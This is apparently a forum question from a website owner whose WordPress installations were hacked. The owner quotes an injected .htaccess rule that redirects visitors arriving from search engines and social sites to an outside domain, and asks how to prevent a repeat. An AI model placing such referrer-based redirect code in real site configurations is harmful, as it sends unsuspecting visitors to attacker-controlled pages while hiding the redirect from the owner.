My website was banned as a malware website by Google. When I checked the code, I found out that some code injected many files on my server. I cleaned everything manually, edited all files on my server (shared hosting) by searching some code from the injected code in all the files. Even the .htaccess file was modified by the attacker.
There were two WordPress installations on the website, in two different subfolders of the website root, which were not updated. I updated both.
Then Google removed ban on my website.
Yesterday, I found out that the .htaccess file on my website was again modified by the attacker. Here is the code:
#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#
I searched for "b58b6f" in all the files, but I don't find any. I think this is the only file modified by the most recent attack. I deleted this .htaccess file, as I don't need it.
How was the hacker able to hack my website? How to prevent this to happen again? How I can make my website more secure?